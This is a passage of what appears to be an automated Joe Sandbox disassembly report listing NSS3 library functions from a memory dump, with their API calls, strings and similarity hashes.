Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: cda4c8108b9d01114e200d565933d42ffb6ff55d2673b17af86a10f5df3970bf
Instruction ID: 8a9282a389d6a43f4ee16f9d5d1492f95d24092fb91270af8d2b19f125e53b91
Opcode Fuzzy Hash: cda4c8108b9d01114e200d565933d42ffb6ff55d2673b17af86a10f5df3970bf
Instruction Fuzzy Hash: 0741E8B16102019FDB14CF28ED80AAB37BAFF84318B25456FE8199B751D731E951CBB1

Function 6CE84E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE84E90
EnterCriticalSection.KERNEL32 ref: 6CE84EA9
TlsGetValue.KERNEL32 ref: 6CE84EC6
EnterCriticalSection.KERNEL32 ref: 6CE84EDF
PL_HashTableLookup.NSS3 ref: 6CE84EF8
PR_Unlock.NSS3 ref: 6CE84F05
PR_Now.NSS3 ref: 6CE84F13
PR_Unlock.NSS3 ref: 6CE84F3A

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

Strings

bUl, xrefs: 6CE84F3F
bUl, xrefs: 6CE84E5C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 58f36761f36757d9efc0666f86ca660af3e2d05c7cb01fdde261d9afa5f7b46e
Instruction ID: e233566a127c66c6f686fb7a27db21a2a212976bea86fc0590f332750c2e9aad
Opcode Fuzzy Hash: 58f36761f36757d9efc0666f86ca660af3e2d05c7cb01fdde261d9afa5f7b46e
Instruction Fuzzy Hash: A8414EB4A006059FCB00EF78C09496ABBF4FF49318F11856AEC999B711EB30E855CF91

Function 6CEAECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CEADE64), ref: 6CEAED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEAED22

Part of subcall function 6CEBB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF918D0,?), ref: 6CEBB095

PL_FreeArenaPool.NSS3(?), ref: 6CEAED4A
PL_FinishArenaPool.NSS3(?), ref: 6CEAED6B
PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CEAED38

Part of subcall function 6CDE4C70: TlsGetValue.KERNEL32(?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4C97
Part of subcall function 6CDE4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CB0
Part of subcall function 6CDE4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CEAED52
PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CEAED83
PL_FreeArenaPool.NSS3(?), ref: 6CEAED95
PL_FinishArenaPool.NSS3(?), ref: 6CEAED9D

Part of subcall function 6CEC64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEC127C,00000000,00000000,00000000), ref: 6CEC650E

Strings

security, xrefs: 6CEAED06

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 12ccc5f7f511fcb08585e2d6077f384969b692d0281683f68f2f76efa2c43576
Instruction ID: 9c882a08f736db13e3aa6e0b2ea88b8838ae93dcac97438ae1f4ad5ff71f7807
Opcode Fuzzy Hash: 12ccc5f7f511fcb08585e2d6077f384969b692d0281683f68f2f76efa2c43576
Instruction Fuzzy Hash: B2116D75B006046FE71057B5AC44BBB7278BF4260DF200428E82167F40FB25A51EC6E7

Function 6CE92CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CE92CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CE92D07

Part of subcall function 6CF709D0: PR_Now.NSS3 ref: 6CF70A22
Part of subcall function 6CF709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF70A35
Part of subcall function 6CF709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF70A66
Part of subcall function 6CF709D0: PR_GetCurrentThread.NSS3 ref: 6CF70A70
Part of subcall function 6CF709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF70A9D
Part of subcall function 6CF709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF70AC8
Part of subcall function 6CF709D0: PR_vsmprintf.NSS3(?,?), ref: 6CF70AE8
Part of subcall function 6CF709D0: EnterCriticalSection.KERNEL32(?), ref: 6CF70B19
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF70B48
Part of subcall function 6CF709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF70C76
Part of subcall function 6CF709D0: PR_LogFlush.NSS3 ref: 6CF70C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE92D22

Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(?), ref: 6CF70B88
Part of subcall function 6CF709D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF70C5D
Part of subcall function 6CF709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF70C8D
Part of subcall function 6CF709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70C9C
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(?), ref: 6CF70CD1
Part of subcall function 6CF709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF70CEC
Part of subcall function 6CF709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70CFB
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF70D16
Part of subcall function 6CF709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF70D26
Part of subcall function 6CF709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70D35
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF70D65
Part of subcall function 6CF709D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF70D70
Part of subcall function 6CF709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF70D90
Part of subcall function 6CF709D0: free.MOZGLUE(00000000), ref: 6CF70D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE92D3B

Part of subcall function 6CF709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF70BAB
Part of subcall function 6CF709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70BBA
Part of subcall function 6CF709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CE92D54

Part of subcall function 6CF709D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF70BCB
Part of subcall function 6CF709D0: EnterCriticalSection.KERNEL32(?), ref: 6CF70BDE
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(?), ref: 6CF70C16

Strings

pLabel = 0x%p, xrefs: 6CE92D4F
pPin = 0x%p, xrefs: 6CE92D1D
C_InitToken, xrefs: 6CE92CE7
slotID = 0x%x, xrefs: 6CE92D02
ulPinLen = %d, xrefs: 6CE92D36

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 0c0b2203c15fc7e8816e3a3d454ae9c797c46bac117ba85dc92a8df576ee4abe
Instruction ID: 3e6705785cf35544665da361da6ba98148ae2ee750374020b75ac1d2ff695b1f
Opcode Fuzzy Hash: 0c0b2203c15fc7e8816e3a3d454ae9c797c46bac117ba85dc92a8df576ee4abe
Instruction Fuzzy Hash: CB21D075B11144AFDF809B64DC8CF4A3BB1EB4231DF558025E50897732DBB38A59CBA1

Function 6CF70EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE52357), ref: 6CF70EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE52357), ref: 6CF70EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF70EE6

Part of subcall function 6CF709D0: PR_Now.NSS3 ref: 6CF70A22
Part of subcall function 6CF709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF70A35
Part of subcall function 6CF709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF70A66
Part of subcall function 6CF709D0: PR_GetCurrentThread.NSS3 ref: 6CF70A70
Part of subcall function 6CF709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF70A9D
Part of subcall function 6CF709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF70AC8
Part of subcall function 6CF709D0: PR_vsmprintf.NSS3(?,?), ref: 6CF70AE8
Part of subcall function 6CF709D0: EnterCriticalSection.KERNEL32(?), ref: 6CF70B19
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF70B48
Part of subcall function 6CF709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF70C76
Part of subcall function 6CF709D0: PR_LogFlush.NSS3 ref: 6CF70C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF70EFA

Part of subcall function 6CE5AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE5AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF70F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF70F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF70F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF70F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF70ED9, 6CF70EE5, 6CF70F06, 6CF70F0B
Aborting, xrefs: 6CF70EB3

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: b82b373855de5de20dc59084cc97584b6a7e18a3cb16c2fa1ab2a33ece2cf5c1
Instruction ID: df8f5008922cfebea2bb3078293cab5715cf40c6c56723c327f839c2699478db
Opcode Fuzzy Hash: b82b373855de5de20dc59084cc97584b6a7e18a3cb16c2fa1ab2a33ece2cf5c1
Instruction Fuzzy Hash: ADF028B9E001047BDE403BA0DC89E9B3E3CDF46324F004024FD1946702DB76E91487B6

Function 6CED4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CED4DCB

Part of subcall function 6CEC0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
Part of subcall function 6CEC0FF0: PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016
Part of subcall function 6CEC0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CED4DE1

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CED4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CED4E59

Part of subcall function 6CEBFAB0: free.MOZGLUE(?,-00000001,?,?,6CE5F673,00000000,00000000), ref: 6CEBFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF9300C,00000000), ref: 6CED4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CED4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CED4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CED521A

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 2420a349ca5b98e2199f3bfa24a1edf5493270183d18a1eff4ad70c9f2edf5b8
Instruction ID: 1a0d21fe369fc38017610347de525810aa49233078575f44bed22fc5c3e3f56d
Opcode Fuzzy Hash: 2420a349ca5b98e2199f3bfa24a1edf5493270183d18a1eff4ad70c9f2edf5b8
Instruction Fuzzy Hash: 98F17CB1E01209CBDB08CF54D8407AEB7B2FF45358F36416AE915AB781E735E982CB91

Function 6CE64FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CFB0148,?,6CE76FEC), ref: 6CE6502A
PR_NewLock.NSS3(00000001,00000000,6CFB0148,?,6CE76FEC), ref: 6CE65034
PL_NewHashTable.NSS3(00000000,6CEBFE80,6CEBFD30,6CF0C350,00000000,00000000,00000001,00000000,6CFB0148,?,6CE76FEC), ref: 6CE65055
PL_NewHashTable.NSS3(00000000,6CEBFE80,6CEBFD30,6CF0C350,00000000,00000000,?,00000001,00000000,6CFB0148,?,6CE76FEC), ref: 6CE6506D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 3e373bae6d01ddf8fb13f5da06fe2e214a2175d7939606e62b0fff2039711a40
Instruction ID: 9704fc478e6123518173c027b4e0a7a3d6aa2051e78fb5572a75c5839d5b73e9
Opcode Fuzzy Hash: 3e373bae6d01ddf8fb13f5da06fe2e214a2175d7939606e62b0fff2039711a40
Instruction Fuzzy Hash: 8C3114B2F662109BEB808B668C4CB5737B8DB1331CF266025EA0097B42D776C604CBE1

Function 6CE02E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE02F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CE02FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CE03005
memcpy.VCRUNTIME140(?,?,?), ref: 6CE030EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE03131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE03178

Strings

%s at line %d of [%.10s], xrefs: 6CE03171
database corruption, xrefs: 6CE0316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE03022, 6CE03156, 6CE03162, 6CE0318A, 6CE03196, 6CE031A2, 6CE031AE, 6CE031BA, 6CE031C6

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 48435e044d4e5863d6718fd9b8f6c7c49ed21ea289b0fd6913147912fd6b6d54
Instruction ID: 60a74dfa009763c0aeb39a91dcc9ecfc369fd4f0dc62992c8845c340fe4bbf1f
Opcode Fuzzy Hash: 48435e044d4e5863d6718fd9b8f6c7c49ed21ea289b0fd6913147912fd6b6d54
Instruction Fuzzy Hash: 76B19D71F05219DBCB18CF9DC885AEEB7B1BF49304F24802AE845B7B46D3759952CBA0

Function 6CE7FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE7FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE7FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE7FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE7FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE7FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE7FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE7FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE7FD84

Strings

:, xrefs: 6CE7FD78

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: f4e09224f86b9bd7876d9900cd6b45ae13f3f6adf8e20893f41afe2110415acd
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 5231AFB29002155BEB208BA4AE057AF77B8AF5521CF250129DD14A7B00E779E919C7F2

Function 6CE96C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CE96C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE96C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE96CA3

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE96CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE96CD5

Strings

(CK_INVALID_HANDLE), xrefs: 6CE96C9C
pMechanism = 0x%p, xrefs: 6CE96CD0
C_DigestInit, xrefs: 6CE96C61
hSession = 0x%x, xrefs: 6CE96C7E, 6CE96C8E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 3e22c94c43cd5be6492c19209783a2fb579b9cf1c15b404016c8cd6246949c30
Instruction ID: cea03a9c6ac73600156ec218b5aedee2e14a1217fde3943c3fd31f6cdaf2b7a7
Opcode Fuzzy Hash: 3e22c94c43cd5be6492c19209783a2fb579b9cf1c15b404016c8cd6246949c30
Instruction Fuzzy Hash: EB213470F011009BDB909B259D88B9B37B9EB4231CF55402AF80997B12DB329A4CCBE2

Function 6CE99DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CE99DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE99E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE99E33

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

